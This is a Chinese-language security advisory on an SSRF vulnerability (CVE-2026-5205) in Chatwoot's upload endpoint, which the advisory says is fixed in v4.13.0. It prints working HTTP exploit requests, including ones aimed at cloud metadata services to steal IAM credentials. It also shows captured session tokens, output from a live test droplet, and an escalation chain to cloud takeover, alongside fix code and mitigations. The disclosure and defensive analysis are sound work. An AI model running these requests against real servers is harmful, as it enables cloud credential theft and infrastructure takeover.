我们的 AI 引擎 Neutron 在加州大学伯克利分校的 CyberGym 基准测试中取得了 96.75% 的成绩。 了解更多

安全

安全

CVE-2026-5205:Chatwoot 上传功能中的严重 SSRF 漏洞

深入分析 Chatwoot 上传端点(≤ v4.12.1)中的一个严重服务器端请求伪造(SSRF)漏洞。/api/v1/accounts/:id/upload 端点接受一个 external_url 参数,而该参数仅通过协议检查进行校验,使任何已认证的 agent 都能迫使服务器抓取任意内部 URL。完整的响应正文会通过 ActiveStorage blob 带内返回——将上传端点变成一个完整读取代理。在 DigitalOcean droplet 上的真实利用证实了云元数据的带内外泄,包括 droplet ID、主机名、SSH 公钥以及完整的元数据包。已在 v4.13.0 中修复。

CVE-2026-5205

Chatwoot:/api/v1/accounts/:id/upload 中的严重 SSRF 漏洞

2026 年 3 月 26 日 · CWE-918 · Chatwoot ≤ v4.12.1

字段 详情
弱点 CWE-918:服务器端请求伪造
严重程度 高危
受影响版本 Chatwoot ≤ v4.12.1
修复版本 v4.13.0
认证 Agent(最低权限角色)
受影响组件 app/controllers/api/v1/accounts/upload_controller.rb

起因

一切始于一个上传端点,以及一个本不该被信任的参数。

在 Ostorlab,我一直在审查 Chatwoot 的代码库——这是一个开源的客户互动平台,将自己定位为 Intercom 的替代品。在追踪应用中的数据流时,我来到了上传控制器。位于 /api/v1/accounts/:id/upload 的端点接受一个 external_url 参数:您给它一个 URL,服务器便抓取该资源,将其存储为 ActiveStorage blob,然后返回一个 file_url 供您下载结果。

问题立刻浮现:是什么阻止它去抓取 http://169.254.169.254/?

答案是:没有任何东西阻止它。只有一个函数——validate_uri——横亘在用户输入与出站 HTTP 请求之间。它检查了 URL 的协议(scheme)。仅此而已。没有主机名校验。没有 IP 段拦截。没有 DNS 重绑定防护。服务器会乐于抓取任何 http:// 或 https:// 的 URL,存储响应,并将其返回给调用方。

与那些攻击者必须通过旁路信道推断响应的盲打 SSRF 漏洞不同,这个漏洞会通过 ActiveStorage blob 带内返回完整的响应正文。无需带外外泄。无需时序攻击。服务器抓取、存储,然后把数据拱手奉上。

我在一台 DigitalOcean droplet 上部署了未经修改的 chatwoot/chatwoot:latest,并证实了完整的利用链——向元数据服务发起六次连续请求,每一次都通过 blob URL 返回了真实的基础设施数据。Droplet ID。主机名。公网 IP。SSH 公钥。完整的元数据 JSON 包。全部可通过一次简单的 GET 请求读取。

该发现已通过 GitHub Security Advisory 提交给 Chatwoot 安全团队。此问题被确认为已有人报告,并已在 v4.13.0 中修复。本文记录了我发现这个漏洞时的样子:存在漏洞的代码、利用链,以及在真实基础设施上的实况证明。

漏洞详情:通过 external_url 参数实现的 SSRF(CVE-2026-5205)

汇聚点(Sink)

Chatwoot 位于 /api/v1/accounts/:id/upload 的上传端点接受一个 external_url 参数。服务器使用 Ruby 的 open-uri 在服务器端抓取该 URL,将响应正文存储为 ActiveStorage blob,并直接将 blob URL 返回给调用方。随后攻击者便可跟随 file_url 读取原始的上游响应——完整的带内外泄。

追踪数据流

存在漏洞的代码位于 app/controllers/api/v1/accounts/upload_controller.rb:

def validate_uri(uri)
  raise URI::InvalidURIError unless uri.is_a?(URI::HTTP) || uri.is_a?(URI::HTTPS)
end

def fetch_and_process_file_from_uri(uri)
  uri.open do |file|   # open-uri fetches ANY http(s) URL incl. 169.254.169.254
    create_and_save_blob(file, File.basename(uri.path), file.content_type)
  end
end

仅此而已。validate_uri 验证 URL 使用的是 http:// 或 https://,除此之外别无其他。没有主机名校验。没有 IP 段检查。没有允许列表。http://169.254.169.254/metadata/v1/id 会毫无阻碍地通过这项检查。

uri.open(来自 open-uri)会对任何通过了协议检查的 URL 发起真实的 HTTP GET 请求。响应被 create_and_save_blob 消费,后者将原始正文存储为 ActiveStorage blob。该 blob 的 file_url 会在 JSON 响应中返回——使攻击者得以直接访问完整的上游响应正文。

服务器响应如下:

{ "file_url": "...", "blob_id": "..." }

跟随 file_url 便会返回原始的上游正文。这就是整个外泄通道——内置于应用的正常响应流程之中。

讽刺之处:企业版代码有防护,核心版却没有

这种讽刺令人刺痛。Chatwoot 的企业版(Enterprise edition)在 enterprise/lib/captain/tools/http_tool.rb 中已经包含了一个恰当的 SSRF 防护:

PRIVATE_IP_RANGES = [
  IPAddr.new('127.0.0.0/8'),    # IPv4 Loopback
  IPAddr.new('10.0.0.0/8'),     # IPv4 Private network
  IPAddr.new('172.16.0.0/12'),  # IPv4 Private network
  IPAddr.new('192.168.0.0/16'), # IPv4 Private network
  IPAddr.new('169.254.0.0/16'), # IPv4 Link-local (cloud metadata)
  IPAddr.new('::1'),            # IPv6 Loopback
  IPAddr.new('fc00::/7'),       # IPv6 Unique local addresses
  IPAddr.new('fe80::/10')       # IPv6 Link-local
].freeze

def check_private_ip!(hostname)
  ip_address = IPAddr.new(Resolv.getaddress(hostname))
  raise 'Request blocked: hostname resolves to private IP address' if
    PRIVATE_IP_RANGES.any? { |range| range.include?(ip_address) }
end

完整覆盖私有 IP。在检查之前先进行 DNS 解析。这正是 validate_uri 所需要的。但这项防护被局限在企业版 AI 工具模块之中——从未应用到上传控制器上,使得 external_url 下载路径门户大开。

修复方案就在同一个代码库里。只是它没有被接上。

真实利用:DigitalOcean Droplet

我针对一台 DigitalOcean droplet 上未经修改的 chatwoot/chatwoot:latest 部署进行了测试。没有特殊配置,没有修改设置——只用了默认的 docker-compose.production.yaml。结果不言自明。

测试环境

属性 值
提供商 DigitalOcean
区域 lon1
Droplet ID 552923997
主机名 ubuntu-s-2vcpu-4gb-120gb-intel-lon1-01
公网 IP 167.99.195.252
镜像 chatwoot/chatwoot:latest(默认 docker-compose.production.yaml)
攻击者 agent@acme.test(角色 0——agent,非管理员)

第 1 步——以最低权限 agent 身份认证

POST /auth/sign_in HTTP/1.1
Content-Type: application/json

{"email":"agent@acme.test","password":"Password1!"}

捕获到的响应头:

access-token: zNicAlY5gBHQvFSspta63g
client:       KHysYvoMt2zIkl4yAiJM5Q
uid:          agent@acme.test
token-type:   Bearer

攻击者不需要管理员权限。最低权限的 agent 角色就足以访问上传端点。

第 2 步——向 DigitalOcean 元数据服务发起 SSRF 请求

全部六个请求都使用相同的已认证模板:

POST /api/v1/accounts/1/upload HTTP/1.1
Host: 167.99.195.252:3000
access-token: zNicAlY5gBHQvFSspta63g
client: KHysYvoMt2zIkl4yAiJM5Q
uid: agent@acme.test
token-type: Bearer
Content-Type: multipart/form-data

external_url=<TARGET>

服务器以 { "file_url": "...", "blob_id": "..." } 作出响应。跟随 file_url 便会返回原始的上游正文——即元数据服务的完整响应。

结果——六次连续的元数据外泄请求

# external_url 目标 返回的 blob 正文
1 http://169.254.169.254/metadata/v1/id 552923997
2 http://169.254.169.254/metadata/v1/hostname ubuntu-s-2vcpu-4gb-120gb-intel-lon1-01
3 http://169.254.169.254/metadata/v1/region lon1
4 http://169.254.169.254/metadata/v1/interfaces/public/0/ipv4/address 167.99.195.252
5 http://169.254.169.254/metadata/v1/public-keys ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDGORTi7ekb1WsK+3qrDp4IKdaRt/OoAVf0SNSAGuMGd soop@soop
6 http://169.254.169.254/metadata/v1.json 完整的 DO 元数据包(droplet_id、vendor_data cloud-init、public_keys、interfaces、dns……)

每一个响应——droplet ID、主机名、公网 IP、SSH 公钥以及完整的元数据 JSON——都通过 ActiveStorage blob 返回,攻击者只需对 file_url 发起一次简单的 GET 请求即可读取。

完整请求/响应示例——Droplet ID 外泄

请求:

POST /api/v1/accounts/1/upload HTTP/1.1
Host: 167.99.195.252:3000
access-token: zNicAlY5gBHQvFSspta63g
client: KHysYvoMt2zIkl4yAiJM5Q
uid: agent@acme.test
token-type: Bearer
Content-Type: multipart/form-data

external_url=http://169.254.169.254/metadata/v1/id

响应:

{
  "file_url": "http://167.99.195.252:3000/rails/active_storage/blobs/redirect/eyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBCdz09IiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--218cce180cd1a069d870bace8d47a23c3f0ac368/id",
  "blob_id": "eyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBCdz09IiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--218cce180cd1a069d870bace8d47a23c3f0ac368"
}

抓取 file_url:

552923997

这个 droplet ID——已与 DigitalOcean 控制面板核对一致。真实数据,带内外泄,来自一个默认的 Chatwoot 安装。

升级:从 SSRF 到云账户接管

AWS IMDSv1——最坏的情况

在使用 IMDSv1 托管的 AWS EC2、ECS、Lambda 或 Elastic Beanstalk 实例上,这个 SSRF 便成为通往完整云账户接管的直接路径:

POST /api/v1/accounts/1/upload HTTP/1.1
access-token: zNicAlY5gBHQvFSspta63g
client: KHysYvoMt2zIkl4yAiJM5Q
uid: agent@acme.test
token-type: Bearer
Content-Type: multipart/form-data

external_url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME

元数据服务会返回完整的 IAM 凭据——并且由于上传 SSRF 会带内返回完整的响应正文,攻击者便可直接从 file_url 读取它们:

{
  "Code": "Success",
  "Type": "AWS-HMAC",
  "AccessKeyId": "ASIAIOSFODNN7EXAMPLE",
  "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
  "Token": "AQoXnyc4lcK4w...",
  "Expiration": "2026-04-01T00:00:00Z"
}

从那里开始的升级路径:

SSRF → AWS IMDSv1 credentials
     → Attacker has AWS IAM role keys
     → Role has S3/EC2/Lambda/ECS permissions
     → Deploy backdoor Lambda / modify EC2 user data
     → Full RCE on cloud infrastructure

影响

场景 影响
AWS IMDSv1(无跳数限制) 严重——窃取 IAM 角色凭据,完整接管 AWS 账户
GCP 元数据 API 严重——窃取服务账户 OAuth 令牌
Azure IMDS 严重——窃取托管身份令牌
DigitalOcean 元数据 高危——窃取云令牌、SSH 密钥、用户数据
内网横向移动 高危——攻击 Redis、Postgres 管理界面、Sidekiq Web、K8s API、内部微服务
密钥外泄 高危——读取内部调试/健康检查端点
权限提升 高危——被窃取的云凭据可授予 Chatwoot 之外的访问权限

CVE-2026-5205 的修复

该漏洞已在 Chatwoot v4.13.0 中修复。权威公告以 GHSA-6fj9-gj7h-q2hf 进行跟踪。

推荐做法——在抓取前校验解析后的 IP

修复方案应在 open-uri 发起请求之前,对解析后的 IP 与私有地址段进行校验:

require 'resolv'

PRIVATE_IP_PATTERNS = [
  /\A127\./, /\A10\./, /\A172\.(1[6-9]|2\d|3[01])\./,
  /\A192\.168\./, /\A169\.254\./, /\Afc00:/i, /\Afe80:/i
].freeze

def validate_uri(uri)
  raise URI::InvalidURIError unless uri.is_a?(URI::HTTP) || uri.is_a?(URI::HTTPS)
  resolved = Resolv.getaddress(uri.host) rescue nil
  raise URI::InvalidURIError, 'SSRF: internal host blocked' if resolved && PRIVATE_IP_PATTERNS.any? { |p| p.match?(resolved) }
end

云层面的缓解措施——启用 IMDSv2

在 AWS 上,强制使用 IMDSv2——它要求携带令牌头的 PUT 请求,而 open-uri 无法伪造这一点:

aws ec2 modify-instance-metadata-options \
  --instance-id i-xxxx \
  --http-tokens required \
  --http-put-response-hop-limit 1

这是一项缓解措施,而非修复——无论是否启用 IMDSv2,对内部服务的访问仍然可能发生。

时间线

日期 事件
2026-03-26 通过源代码审查发现漏洞
2026-03-26 通过在 DigitalOcean droplet(v4.12.1)上的真实利用得到确认
2026-03-26 通过 GitHub Security Advisory 提交报告
2026-04-22 Chatwoot 团队确认该问题已有人报告,并已在 v4.13.0 中修复
2026-04-22 公告关闭——权威跟踪见 GHSA-6fj9-gj7h-q2hf

参考资料

资源 链接
权威公告 GHSA-6fj9-gj7h-q2hf
CWE-918:服务器端请求伪造 https://cwe.mitre.org/data/definitions/918.html
OWASP SSRF 防护速查表 https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html
AWS IMDSv1 利用 https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-retrieval.html
Chatwoot 安全报告指南 https://developers.chatwoot.com/contributing-guide/security-reports